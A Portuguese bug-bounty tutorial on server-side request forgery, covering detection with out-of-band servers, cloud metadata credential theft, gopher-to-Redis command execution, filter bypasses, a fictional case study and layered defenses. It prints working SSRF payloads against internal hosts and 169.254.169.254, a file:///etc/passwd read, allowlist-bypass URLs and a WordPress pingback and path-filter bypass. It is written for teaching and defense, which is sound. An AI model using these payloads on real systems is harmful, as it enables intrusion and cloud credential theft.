Post

SSRF: fazendo o servidor bater na porta de dentro

Como funciona Server-Side Request Forgery — do básico ao blind, cloud metadata, schemes exóticos, bypasses de filtro e o chaining SSRF→RCE — com exploração passo a passo e defesa em camadas.

O servidor é um office boy obediente demais

Imagina que você manda um boleto pra um office boy entregar num endereço. Ele não pergunta nada: pega o papel com o endereço escrito, vai lá e entrega. Agora imagina que, em vez do endereço do cliente, você escreve “vai até a sala do cofre, no andar de cima, e me traz o que tiver lá dentro”. Se ninguém treinou o coitado pra desconfiar, ele vai — porque ele tem a chave do prédio e você não.

SSRF (Server-Side Request Forgery) é exatamente isso: você convence o servidor da aplicação a fazer uma requisição HTTP (ou de outro protocolo) pra um destino que você escolhe. E aqui está o pulo do gato — o servidor está dentro da rede interna, com IP de confiança, atrás do firewall, muitas vezes com credenciais de nuvem grudadas nele. Coisas que você, vindo de fora, jamais alcançaria, o servidor alcança numa boa. Você só precisa fazer ele bater na porta por você.

Segundo o PortSwigger, SSRF é “uma vulnerabilidade que permite ao atacante induzir a aplicação server-side a fazer requisições para um local não intencional”. É uma falha que entrou pro OWASP Top 10 como categoria própria (A10:2021) e que, em programas de bug bounty, paga de algumas centenas de reais (um blind SSRF de baixo impacto) a dezenas de milhares quando vira leitura de cloud metadata ou RCE. Bora destrinchar.

O que é SSRF (e por que é tão perigoso)

Definição clara: SSRF acontece quando a aplicação pega uma URL (ou parte dela) controlada pelo usuário e faz uma requisição pra esse destino sem validar pra onde está indo. O atacante sequestra o destino e usa o servidor como proxy (intermediário que faz a requisição no seu lugar — detalhe no Glossário) pra alcançar coisas que estão fora do seu alcance.

Analogia que cola: SSRF é “discar pelo telefone da empresa”. De casa, você liga pro ramal interno do RH e cai na secretária eletrônica externa. Mas se você convencer a recepcionista (o servidor) a transferir a ligação, ela disca o ramal interno de dentro da central — e aí você fala direto com o RH, o financeiro, a sala de servidores. A rede interna confia em quem liga de dentro.

Por que isso é tão perigoso? Porque a maioria das defesas de rede assume um modelo de “castelo e fosso”: tudo que vem de fora é hostil e barrado; tudo que está dentro é amigo. O servidor da aplicação está dentro. Então, com SSRF, você fura essa lógica inteira:

  • Alcança serviços internos que não têm autenticação porque “só a rede interna fala com eles” (bancos de dados, filas, painéis admin, Elasticsearch, Redis).
  • Lê o endpoint de metadata da nuvem (169.254.169.254) e rouba credenciais temporárias da máquina — o jackpot.
  • Faz port scan da rede interna usando o servidor como sonda.
  • Em casos extremos, transforma a requisição em execução de comando (o famoso chaining SSRF→RCE com gopher:// + Redis).

Onde costuma aparecer? Em qualquer funcionalidade que busca uma URL pra você: webhooks, importação de imagem por URL, geradores de PDF/screenshot a partir de link, validadores de URL, integrações (“conecte sua conta”), pré-visualização de link (aquele card que aparece quando você cola um link no chat), conversores de documento, proxies de imagem, e o clássico ?url=.

Por que isso importa (e quanto paga)

💡 IAM (Identity and Access Management): serviço de identidades/permissões na nuvem; a “role” é a identidade com permissões atribuída à máquina.

O impacto do SSRF varia muito — e é justamente o impacto que define o cheque. Em ordem crescente:

CenárioImpactoFaixa típica de bounty
Blind SSRF (só confirma saída DNS/HTTP, sem ler resposta)Baixo/MédioR$200 – R$1.500
SSRF “full read” alcançando serviço interno / painel sem authMédio/AltoR$1.500 – R$8.000
SSRF → cloud metadata (rouba credencial IAM/token)CríticoR$8.000 – R$30.000+
SSRF → RCE (gopher+Redis, deserialização, etc.)Críticodezenas de milhares

⚠️ O salto de valor está no que você consegue alcançar. Um blind SSRF “pelado” paga pouco. O mesmo SSRF que chega no 169.254.169.254 e devolve uma credencial AWS vira crítico num piscar de olhos. Por isso, achar o SSRF é metade do trabalho; a outra metade é escalar o alvo interno.

Pra falar a língua do triador, leve um CVSS junto (sempre o v3.1, que ainda é o que a maioria dos programas usa; o v4.0 vem ganhando espaço — então cito os dois). Dois âncoras úteis:

CenárioCVSS v3.1CVSS v4.0
Blind SSRF (só confirma saída, lê só sinal de baixa sensibilidade)4.3 MédioAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NMédioAV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
SSRF (autenticado) lendo IMDS e roubando credencial IAM8.5 AltoAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:NCríticoAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

💡 O CVSS-base do SSRF “puro” costuma travar em Alto; é o chaining (a credencial roubada vira takeover da conta AWS, ou o gopher+Redis vira RCE) que empurra o risco real pro topo do Crítico. Reporte o score-base honesto e descreva o impacto encadeado em texto — não infle o número. Os decimais do v3.1 acima foram conferidos na calculadora oficial do FIRST; para o decimal exato do v4.0, rode o vetor na calculadora v4.0 (a escala do v4.0 não é linear). Ajuste PR (N se o endpoint for não autenticado — aí o score sobe) conforme o alvo.

Na hora de reportar, foque o impacto no negócio: “qualquer usuário consegue ler serviços internos / obter credenciais de nuvem da aplicação”. (Como montar isso direito, veja o post Como escrever um report que paga, e pra calibrar a severidade, o Severidade & Impacto.)

Como funciona por trás

A raiz é sempre a mesma: o servidor confia numa URL que veio do cliente e faz a requisição sem checar o destino. Olha o fluxo vulnerável típico — uma funcionalidade de “importar imagem por URL”:

1
2
3
4
5
6
POST /api/perfil/avatar-por-url HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"imageUrl": "https://i.imgur.com/foto.png"}   # <- o destino é seu pra escolher
1
2
3
4
// Backend VULNERÁVEL — busca QUALQUER URL que o cliente mandar
$url = $_POST['imageUrl'];
$conteudo = file_get_contents($url);   // <- aqui mora o SSRF: zero validação de destino
salvarAvatar($conteudo);

O file_get_contents() (ou curl, requests.get(), fetch()…) não tem a menor ideia de que https://i.imgur.com/foto.png deveria ser um destino “de imagem externa”. Pra ele, qualquer string é uma URL válida. Então se eu trocar por:

1
{"imageUrl": "http://169.254.169.254/latest/meta-data/"}

…o servidor vai, obedientemente, buscar o endpoint de metadata da própria nuvem a partir de dentro e me devolver (ou agir sobre) o conteúdo. Eu, de fora, jamais conseguiria acessar 169.254.169.254 — esse IP só responde de dentro da instância. O servidor é minha ponte.

O ponto-chave conceitual: a confiança que a rede deposita no servidor passa a ser sua. É herança de privilégio.

Tipos e variações

Basic (in-band) SSRF — você lê a resposta

A aplicação te devolve o conteúdo que ela buscou. É o melhor cenário pro atacante: você manda http://localhost/admin, e o painel admin volta na resposta. Dá pra ler metadata, ler serviços internos, fazer port scan vendo o tempo/erro de resposta.

Blind SSRF — você NÃO lê a resposta

A aplicação faz a requisição, mas não te mostra o resultado (ex.: um webhook que dispara em background, ou um pingback). Você sabe que disparou porque monitora a chegada num servidor seu. O PortSwigger define como o caso em que “a aplicação pode ser induzida a fazer uma requisição HTTP de back-end pra uma URL fornecida, mas a resposta não é retornada no front-end”. Detecta-se com OAST (Out-of-band Application Security Testing: você usa um servidor seu como “isca” e confirma o bug pelo tráfego que chega nele por fora da resposta da app) — falaremos disso no recon.

Semi-blind

Você não vê o corpo, mas vê sinais: tempo de resposta, código HTTP, tamanho, mensagens de erro distintas. Dá pra inferir “essa porta interna está aberta” vs “fechada” mesmo sem ler o conteúdo.

TipoLê a resposta?Como confirmaImpacto base
Basic / in-bandSimConteúdo interno aparece na respostaAlto
Semi-blindParcialTempo/status/tamanho/erro diferentesMédio
BlindNãoInteração OAST (DNS/HTTP no seu servidor)Baixo/Médio

Recon — como encontrar

Onde caçar

Procure toda funcionalidade que pega uma URL e vai buscar algo:

  • Parâmetros óbvios: url, uri, link, src, dest, redirect, target, domain, callback, webhook, feed, host, to, out, path, continue, image, imageUrl, file, document, proxy.
  • Funcionalidades: importar por URL, gerar PDF/thumbnail/screenshot de um link, “preview” de link, validador de URL, integrações via webhook, conectores, parsers de XML (XXE pode virar SSRF), SAML/SSO.
  • Headers que viram destino: às vezes o servidor segue o Referer ou um header customizado.
  • WordPress com xmlrpc.php habilitado: blind SSRF “de prateleira” via pingback.ping (detalhe no Nível 1). Fingerprint de WP antigo é forte indício de que o pingback segue exposto.
1
2
# Caçar parâmetros tipo URL nos JS e na superfície (já vimos essas ferramentas no post 01-recon-discovery.md)
echo "https://alvo.com" | gau | grep -Ei '(\?|&)(url|uri|link|src|dest|redirect|target|callback|webhook|feed|image|file)=' | sort -u

gau (GetAllURLs) coleta URLs históricas de fontes públicas (Wayback, Common Crawl). O grep filtra só os parâmetros que cheiram a “destino”. Se você ainda não conhece essas ferramentas, o post Recon & Discovery apresenta todas.

A ferramenta-chave: um servidor OAST

Pra blind SSRF, você precisa de um endpoint externo que registre quem bate nele. Opções:

  • Burp Collaborator (no Burp Suite Pro) — gera um subdomínio único (ex.: xyz.oastify.com) e mostra cada interação DNS e HTTP que chega. É o padrão da indústria.
  • interactsh (open source, do ProjectDiscovery) — alternativa gratuita; roda interactsh-client e te dá um domínio pra usar.
  • Um nc -lvnp 80 num VPS seu, ou serviços tipo webhook.site (cuidado com dados sensíveis em serviços públicos).

A lógica: você coloca a URL do Collaborator no parâmetro suspeito. Se chegar uma interação DNS ou HTTP, o servidor saiu pra buscar → SSRF confirmado.

💡 DNS vs HTTP: é comuníssimo o servidor fazer a resolução DNS do seu domínio mas o firewall barrar a saída HTTP. Se você vê só o DNS chegando, ainda é SSRF (a aplicação tentou), mas o impacto pode ser limitado. Vale registrar os dois.

Exploração passo a passo (do básico ao avançado)

Nível 1 — Confirmar com OAST (blind)

Comece sempre confirmando que existe uma requisição de saída. Coloque seu domínio Collaborator no parâmetro:

1
2
3
4
5
POST /api/perfil/avatar-por-url HTTP/2
Host: app.exemplo.com
Content-Type: application/json

{"imageUrl": "http://abc123.oastify.com/x"}   # <- seu domínio OAST

Olha o Collaborator. Chegou DNS + HTTP? SSRF confirmado. Agora é hora de escalar o alvo interno.

Atalho: blind SSRF “de prateleira” no WordPress (xmlrpc.phppingback.ping)

Se o alvo roda WordPress com o xmlrpc.php habilitado (o que é comuníssimo, principalmente em versões antigas — um fingerprint de WP desatualizado já é forte indício de que o pingback segue exposto), você tem um blind SSRF pronto, sem precisar de um parâmetro ?url=. O método pingback.ping foi feito pra notificar outro blog que você o linkou — e, pra “verificar” esse link, o servidor faz uma requisição de saída pro endereço que você mandar. É SSRF por design.

1
2
3
4
5
6
7
8
9
10
11
12
POST /xmlrpc.php HTTP/2
Host: alvo.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://abc123.oastify.com/</string></value></param>  <!-- 1º: SEU OAST (de onde "veio" o pingback) -->
    <param><value><string>https://alvo.com/?p=1</string></value></param>       <!-- 2º: um post válido do alvo -->
  </params>
</methodCall>

A resposta costuma vir 200 OK com um methodResponse/faultCode (ex.: faultCode 0, ou um fault de “pingback already registered”) — e no Collaborator chega o GET de saída com User-Agent: WordPress/<versão> e a mensagem “verifying pingback from”. É a confirmação do blind SSRF.

💡 Bypass do filtro de path: se um WAF/regra bloqueia o acesso direto a /xmlrpc.php, dá pra tentar reescrever o caminho por header — alguns back-ends honram o X-Rewrite-Url:

1
2
3
POST /xmlrpc HTTP/2
Host: alvo.com
X-Rewrite-Url: xmlrpc.php

Os mesmos headers de reescrita (X-Rewrite-Url: wp-json/v2/users, X-Rewrite-Url: wp-login.php) servem pra alcançar outras rotas WP filtradas — vale ter no bolso.

O impacto desse vetor costuma ser baixo (blind, sem leitura da resposta), mas ainda paga — programas reais já recompensaram o pingback do WordPress justamente porque, mesmo cego, ele comprova requisição de saída controlada pelo atacante. Como transformar isso em algo “vendável”, veja logo abaixo.

Como justificar o impacto de um blind SSRF pro triador

Blind SSRF é difícil de “vender” — o triador olha e pensa “e daí que o servidor resolveu meu domínio?”. O que funciona na prática:

  1. Aponte o potencial de port scan interno: a partir do servidor (que está dentro da rede), o mesmo vetor pode mirar http://127.0.0.1:PORTA/ e http://10.x.x.x:PORTA/. Você não precisa varrer tudo — basta demonstrar que o destino é controlável e que ele alcança a rede interna.
  2. Comprove porta aberta vs. fechada pelo timing: quando não há leitura da resposta, a diferença de tempo entre uma porta aberta (responde/handshake rápido) e uma fechada (timeout/RST) já é evidência de que o servidor está conectando em destinos internos seus. É o degrau que tira o bug do “meramente cego” e mostra alcance.
  3. Some o contexto de negócio: “qualquer um na internet força o servidor a emitir requisições internas” é um risco concreto — e a severidade depende muito da visão da empresa sobre exposição da rede interna.

Nível 2 — Bater em localhost / serviços internos (basic)

Tente alcançar a própria máquina e a rede interna. O exemplo canônico do PortSwigger:

1
2
3
4
5
POST /product/stock HTTP/2
Host: alvo.com
Content-Type: application/x-www-form-urlencoded

stockApi=http://localhost/admin       # <- painel que só responde "de dentro"
1
2
3
4
5
# Variações de destino interno pra testar:
http://127.0.0.1/             http://localhost/
http://127.0.0.1:8080/        http://127.0.0.1:6379/   (Redis)
http://192.168.0.68/admin     http://10.0.0.1/
http://[::1]/                 http://169.254.169.254/  (metadata!)

Se o conteúdo interno voltar na resposta (basic) ou se o tempo/erro mudar (semi-blind), você está dentro da rede.

Nível 3 — Cloud metadata (o jackpot)

💡 TTL (Time To Live): tempo máximo de vida (aqui, do token).

Servidores em nuvem têm um endpoint mágico de metadata num IP link-local (faixa 169.254.x.x, só roteável dentro da própria máquina/rede local — por isso você não alcança de fora) que entrega configuração e — crucialmente — credenciais temporárias da role IAM (a “identidade” com permissões que a nuvem atribui à máquina) atribuída à máquina. Cada provedor tem seu jeito:

AWS — IMDSv1 (legado, sem proteção): basta um GET. Segundo a doc oficial da AWS, se nenhum header especial estiver presente, a requisição é tratada como IMDSv1:

1
2
3
4
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
# devolve o NOME da role, ex.: minha-role-ec2
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/minha-role-ec2
# devolve AccessKeyId, SecretAccessKey e Token (credencial temporária!)

Com imageUrl: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" num SSRF basic, você lê a credencial AWS direto na resposta. Isso é crítico: a partir daí você assume a identidade da máquina na AWS.

💡 IMDSv2: versão 2 do endpoint de metadata da AWS (169.254.169.254), com token de sessão — mais segura que a IMDSv1.

AWS — IMDSv2 (session-oriented, com defesa): a doc da AWS exige um token de sessão obtido via PUT antes de qualquer GET:

1
2
3
4
5
6
# 1) Pega o token (PUT com header de TTL — máximo 21600s = 6h)
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
# 2) Usa o token no GET
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Repara por que isso mata a maioria dos SSRFs — desde que o IMDSv2 esteja obrigatório (http-tokens=required, veja a Camada 5): um SSRF simples só faz GET, e não consegue (a) mandar um PUT nem (b) adicionar o header X-aws-ec2-metadata-token. Quando o token é exigido, requisições sem token válido (ou expirado) recebem 401 - Unauthorized. Além disso, o PUT é rejeitado se contiver header X-Forwarded-For (típico de proxy) e o hop limit padrão da resposta ao PUT é 1 (não atravessa um proxy/container). É exatamente a “defesa em profundidade contra SSRF” que a AWS pregou ao lançar o v2. Atenção a uma pegadinha: por padrão a instância aceita v1 e v2 — só quando o operador marca http-tokens=required é que o v1 morre e o GET puro deixa de funcionar. Por isso, SSRF que chega no metadata de uma instância só-IMDSv2 muitas vezes não vira nada — a menos que você tenha um gopher:// que monte um PUT com header (raro) ou um SSRF que controle método e headers.

GCP: o endpoint é metadata.google.internal (= 169.254.169.254) e o caminho moderno computeMetadata/v1/ exige o header Metadata-Flavor: Google — o que, igual ao IMDSv2, neutraliza SSRF simples que não controla headers. (Os caminhos legados v0.1/v1beta1, que não exigiam header, foram desligados em 30/09/2020):

1
2
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google      # <- sem esse header, o GCP recusa

Azure: endpoint http://169.254.169.254/metadata/instance?api-version=2021-02-01, exige header Metadata: true e o query param api-version. Mesma lógica de defesa por header.

💡 Regra mental: SSRF que só controla a URL (método GET, sem headers) lê IMDSv1 fácil, mas bate na parede no IMDSv2 / GCP / Azure (que exigem PUT ou header). SSRF que controla método e headers (ou via gopher://) fura tudo. Saber qual tipo você tem decide o impacto.

🔎 Caso real (controlar header fura o GCP): a HAKAI Security documentou um SSRF (via cliente Axios) que conseguia injetar o header Metadata-Flavor: Google — exatamente o que o GCP exige — e com isso roubou o token da service account na metadata. É o “SSRF que controla headers fura tudo” na vida real. Eles publicaram a ferramenta gcp_enum pra enumerar o que dá pra fazer com a credencial.

Nível 4 — Schemes além do HTTP

Nem todo SSRF é http://. Se o cliente HTTP do servidor aceitar outros schemes, o leque abre (lista de bypasses do PayloadsAllTheThings):

SchemePra que serveExemplo
file://Ler arquivo local do servidorfile:///etc/passwd
gopher://Mandar bytes crus TCP → falar com Redis, SMTP, etc.gopher://127.0.0.1:6379/_<comandos>
dict://Sondar serviços / falar protocolo textodict://127.0.0.1:11211/stats (Memcached)
http(s)://O comumhttp://localhost/admin

O gopher:// é o mais poderoso: ele permite enviar dados arbitrários numa conexão TCP. Como Redis, SMTP e outros serviços usam protocolos baseados em texto/CRLF, dá pra falar a língua deles e mandar comandos — não só “bater na porta”.

Nível 5 — Chaining SSRF → RCE (gopher + Redis)

Esse é o avançado que vira manchete. Cenário: existe um Redis sem senha ouvindo em 127.0.0.1:6379 (comuníssimo, porque “só a localhost acessa”). Com um SSRF que aceite gopher://, você monta uma sequência de comandos Redis que escreve um arquivo — por exemplo, um cron job ou uma webshell — e ganha execução de comando.

A ideia (sem entregar um exploit pronto): o protocolo Redis é texto separado por \r\n (CRLF). O gopher:// deixa você enviar esses bytes crus. Então você codifica algo como CONFIG SET dir /var/spool/cron/, CONFIG SET dbfilename root, um SET com o payload e SAVE — tudo com os CRLF URL-encodados (%0D%0A):

1
gopher://127.0.0.1:6379/_%0D%0A<comando-redis-1>%0D%0A<comando-redis-2>%0D%0A...

Quando o servidor “busca” essa URL, ele abre TCP na 6379 e despeja os comandos como se fosse um cliente Redis legítimo. Resultado: o Redis grava o arquivo, e na próxima execução do cron você tem RCE. Por que funciona? Porque o Redis confia em quem fala com ele pela localhost, e o gopher:// deixou você “ser” esse cliente local. (Pra montar os bytes certos, ferramentas como o Gopherus geram o payload gopher:// pronto pra Redis, MySQL, FastCGI, SMTP, etc.)

Esse é o ápice do “office boy obediente”: você não só fez ele entregar uma carta — você ditou byte a byte o que ele ia falar com o serviço de dentro.

Repara que aqui o SSRF deixa de ser “ler dado interno” e vira execução de comando — é a mesma família do que você viu em RCE & Command Injection / SSTI, só que a porta de entrada foi a requisição forjada. Sempre que um SSRF alcança um serviço text-based sem auth (Redis, Memcached, FastCGI, SMTP), pergunte-se se dá pra escalar pra RCE; e quando isso depende de juntar duas falhas (ex.: SSRF + open redirect pra furar a allowlist, ou SSRF + serviço interno), o playbook está em Chaining de vulnerabilidades.

Nível 6 — Bypasses de filtro

Quando o dev tenta bloquear com uma lista negra (blocklist), quase sempre dá pra furar. O próprio OWASP avisa que blocklists são “propensas a bypass”. Arsenal verificado:

TécnicaExemplo (todos = 127.0.0.1)Por que fura
Decimalhttp://2130706433/O parser converte; o filtro procurava “127.0.0.1” literal
Octalhttp://0177.0.0.1/Outra base, mesmo IP
Hexhttp://0x7f000001/Idem
Encurtadohttp://127.1/127.1 expande pra 127.0.0.1
IPv6http://[::1]/ , http://[::ffff:127.0.0.1]/Filtro só cobria IPv4
0.0.0.0http://0.0.0.0:8080/Em Linux, fala com a localhost
DNS que resolve pra internohttp://localtest.me/ (resolve 127.0.0.1)O filtro vê um domínio “externo”

Bypasses de allowlist (quando o filtro quer ver alvo.com na URL):

1
2
3
4
http://alvo.com@169.254.169.254/        # <- "alvo.com" é só o userinfo; o host real é o metadata
http://169.254.169.254#alvo.com         # <- o "#alvo.com" é fragmento, ignorado
http://169.254.169.254%2523@alvo.com    # double-encode pra confundir o parser
http://alvo.com.attacker.com/           # domínio do atacante que CONTÉM "alvo.com"

Open redirect como ponte: se o filtro só aceita alvo.com, mas existe um open redirect em alvo.com/go?u=..., você aponta o SSRF pra http://alvo.com/go?u=http://169.254.169.254/ e o servidor segue o redirect até o metadata. (Por isso o OWASP manda desabilitar redirects no cliente.)

DNS rebinding: o ataque mais sofisticado contra validação. Você cria um domínio cujo DNS responde IP público na primeira consulta (passa na validação) e 127.0.0.1 na segunda (quando o servidor realmente conecta). Explora a janela de tempo entre “validar” e “conectar” (TOCTOU — time-of-check vs time-of-use). Ferramentas: rebind, singularity (NCC Group).

Caso real-fictício: importação por URL → metadata AWS

Cenário fictício, baseado em padrões reais de programas de bug bounty (anonimizado).

Você testa app.exemplo.com, um SaaS. Há uma função “Importar logo da empresa por URL” no painel. O Burp registra:

1
2
3
4
5
6
POST /api/v1/company/logo/import HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"logoUrl": "https://cdn.exemplo.com/logos/acme.png"}

Passo 1 — Confirmar (OAST). Troco pelo Collaborator:

1
{"logoUrl": "http://k7p2.oastify.com/probe"}   # <- domínio OAST

No Collaborator chega 1 DNS lookup + 1 HTTP GET /probe com User-Agent: Go-http-client/1.1. SSRF confirmado, e o User-Agent denuncia um backend em Go.

Passo 2 — Mapear destino interno. Testo a metadata da AWS (a função usa GET puro, então só IMDSv1 funcionaria):

1
{"logoUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
1
2
3
4
HTTP/2 200 OK
Content-Type: image/png   # <- a app acha que é "logo", mas o corpo é texto

s3-app-readonly-role

A app tentou tratar a resposta como imagem, mas o corpo vazou o nome da role. IMDSv1 está habilitado. Continuo:

1
{"logoUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-app-readonly-role"}
1
2
3
4
5
6
HTTP/2 200 OK

{"AccessKeyId":"AKIAEXAMPLE000000000",
 "SecretAccessKey":"REDACTED/exemplo+fic+ticio",
 "Token":"IQoJb3...EXEMPLO...",
 "Expiration":"2026-05-31T23:59:00Z"}

Credencial temporária da AWS na mão. Com ela, dá pra autenticar na AWS como a instância (aws sts get-caller-identity confirmaria a identidade) e acessar o que a role permitir (no nome, leitura de S3). Impacto: Crítico.

O que a tela do Burp mostraria: painel Request/Response lado a lado; na Response, em vez de bytes de PNG, um JSON com AccessKeyId/SecretAccessKey/Token — destacado o 169.254.169.254 trocado no logoUrl.

Passo 3 — Report. Título [SSRF] - Importação de logo permite ler IMDS e roubar credenciais IAM (169.254.169.254). Severidade Crítica. CVSS do SSRF-base (autenticado, lê a credencial): v3.1 8.5 / Alto (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) e v4.0 Crítico (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N). O que sobe pra Crítica de fato é o chaining: a credencial IAM roubada permite assumir a identidade da instância na AWS (cloud takeover), então descreva esse impacto subsequente no texto — veja Cloud & AWS Misconfiguration pra explorar a credencial com responsabilidade e Chaining de vulnerabilidades pra encadear o report. PoC: as 3 requests acima, com a credencial mascarada (AKIA..., nunca o valor real). Recomendação: migrar pra IMDSv2 + allowlist de destino. (Detalhes em Como escrever um report que paga.)

⚠️ Ética no PoC: confirme a identidade com aws sts get-caller-identity e pare. Não liste buckets, não baixe dados, não persista. Provar o acesso já demonstra o impacto — explorar além vira invasão.

Defesa em camadas

A correção real combina validação na aplicação + controle de rede + hardening de nuvem. Nenhuma camada sozinha resolve.

Camada 1 — Nunca busque a URL crua do usuário (allowlist)

O conselho número 1 do OWASP SSRF Cheat Sheet: “não aceite URLs completas do usuário, porque URLs são difíceis de validar e o parser pode ser abusado”. Use allowlist (lista do que é permitido), nunca blocklist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Python — valida ANTES de buscar: scheme + host na allowlist + IP resolvido é público
import ipaddress, socket
from urllib.parse import urlparse

HOSTS_PERMITIDOS = {"cdn.exemplo.com", "i.imgur.com"}

def url_segura(url: str) -> bool:
    p = urlparse(url)
    if p.scheme not in ("http", "https"):      # 1) só http/https — mata file://, gopher://, dict://
        return False
    if p.hostname not in HOSTS_PERMITIDOS:      # 2) allowlist de host
        return False
    # 3) resolve o host e confirma que o IP NÃO é privado/loopback/link-local
    for info in socket.getaddrinfo(p.hostname, None):
        ip = ipaddress.ip_address(info[4][0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            return False
    return True

O passo 3 é o que pega o DNS rebinding: você resolve o IP e valida o IP. Mas atenção — pra fechar o TOCTOU de verdade, você precisa conectar no mesmo IP que validou (resolver uma vez, passar o IP fixo pro cliente HTTP), senão o atacante troca a resposta DNS entre a validação e a conexão.

1
2
3
4
5
6
7
8
// PHP — bloqueia redirects e ranges internos no cURL
$ch = curl_init($urlValidada);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);  // <- NÃO siga redirect (mata o open-redirect bypass)
// só http(s) — mata file://, gopher://, dict://. Em cURL >= 7.85 / PHP 8.3+ use a forma nova:
//   curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "http,https");
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // forma clássica (CURLOPT_PROTOCOLS deprecada no cURL 7.85+)
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$resp = curl_exec($ch);

Camada 2 — Desabilite (ou trave) redirects

Como vimos no bypass, um open redirect derruba a allowlist. O OWASP é explícito: “desabilite o seguimento de redirecionamento no seu cliente web pra prevenir o bypass da validação”. Se precisar seguir redirect, revalide o destino final com a mesma allowlist.

Camada 3 — Não devolva a resposta crua pro cliente

Se a app precisa buscar conteúdo externo, não jogue o corpo da resposta de volta pro usuário. Trate (redimensione a imagem, parseie o JSON esperado) e devolva só o resultado. Isso degrada um basic SSRF pra blind — reduz muito o impacto.

Camada 4 — Controle de rede (segmentação)

Defesa que independe do código: a aplicação não deveria ter rota de rede pra 169.254.169.254, nem pros serviços internos que ela não usa.

1
2
3
# Bloquear saída da aplicação pro metadata (exemplo iptables na instância)
iptables -A OUTPUT -d 169.254.169.254 -j DROP   # <- a app não fala com o metadata
# + regras de egress permitindo SÓ os destinos legítimos (default deny na saída)

Camada 5 — Hardening de nuvem (IMDSv2 obrigatório)

Force IMDSv2 e bloqueie o v1. Na AWS, exija token de sessão e reduza o hop limit:

1
2
3
4
5
6
# Forçar IMDSv2 (http-tokens=required) e hop limit 1 numa instância existente
aws ec2 modify-instance-metadata-options \
  --instance-id i-0exemplo \
  --http-tokens required \
  --http-put-response-hop-limit 1 \
  --http-endpoint enabled

Como vimos, com http-tokens required qualquer GET sem token leva 401, e o SSRF “só-GET” morre ali. No GCP o header Metadata-Flavor: Google já é obrigatório; no Azure, o Metadata: true.

O que NÃO basta: (1) blocklist de 127.0.0.1/localhost — fura com decimal/octal/IPv6/DNS; (2) validar a URL uma vez e conectar depois (DNS rebinding); (3) confiar que “o serviço interno não tem porta exposta” — o servidor alcança a localhost dele; (4) só checar a string sem resolver o IP; (5) seguir redirect “porque é prático”.

Ferramentas + labs legais

  • Burp Suite — Repeater (testar destinos), Intruder (varrer portas/IPs internos) e Collaborator (detectar blind SSRF). Extensões: Collaborator Everywhere, SSRF King, taborator.
  • interactsh (ProjectDiscovery) — servidor OAST gratuito/open source pra blind SSRF.
  • Gopherus — gera payloads gopher:// prontos pra Redis, MySQL, FastCGI, SMTP, Memcached, PostgreSQL.
  • nuclei — templates prontos de SSRF (inclusive cloud metadata e xmlrpc pingback).
  • singularity / rebind — DNS rebinding.
  • Labs pra praticar (autorizados): PortSwigger Web Security Academy — SSRF (a melhor fonte gratuita, com labs de basic, blind, filtros e bypasses), DVWA, TryHackMe, HackTheBox, HackingClub.

Checklist do caçador

  • Mapeei toda funcionalidade que busca uma URL (url, webhook, “importar por link”, PDF/screenshot, preview).
  • Confirmei saída com OAST (Collaborator/interactsh) — registrei DNS e HTTP.
  • Se for WordPress, testei o blind SSRF “de prateleira” via xmlrpc.phppingback.ping (e o bypass X-Rewrite-Url se /xmlrpc.php estiver filtrado).
  • Testei localhost / rede interna (127.0.0.1, [::1], 192.168.x, 10.x, portas comuns).
  • Testei cloud metadata (169.254.169.254) — AWS IMDSv1/v2, Metadata-Flavor: Google (GCP), Metadata: true (Azure).
  • Testei schemes alternativos (file://, gopher://, dict://) se o cliente aceitar.
  • Testei bypasses (decimal/octal/hex, 127.1, [::1], @, #, DNS que resolve interno, open redirect).
  • Verifiquei se controlo método e headers (decide se IMDSv2/GCP/Azure são alcançáveis).
  • Avaliei chaining (gopher+Redis → RCE) quando há serviço interno text-based sem auth.
  • No PoC, parei na prova (ex.: sts get-caller-identity) e mascarei credenciais.
  • Conferi que SSRF está no escopo do programa.

Pegadinhas / o que NÃO funciona

  • Só DNS, sem HTTP, no Collaborator: é SSRF (a app resolveu seu domínio), mas pode ter firewall de egress barrando HTTP. Reporte como blind SSRF (tipicamente CVSS v3.1 4.3 / MédioAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) e tente escalar — não inflacione pra “crítico” sem alcançar nada interno.
  • 169.254.169.254 retornando 401/timeout: provavelmente IMDSv2 ativo e seu SSRF só faz GET. Não desista do bug, mas o impacto “metadata” some — foque outros alvos internos.
  • Achar que localhost está bloqueado e parar: sempre tente as representações alternativas (decimal, IPv6, 0.0.0.0, DNS público que resolve pra 127.0.0.1).
  • Confundir Open Redirect com SSRF: open redirect manda o navegador da vítima (client-side); SSRF faz o servidor sair (server-side). São bugs diferentes — só viram dupla quando o redirect serve de ponte pro SSRF.
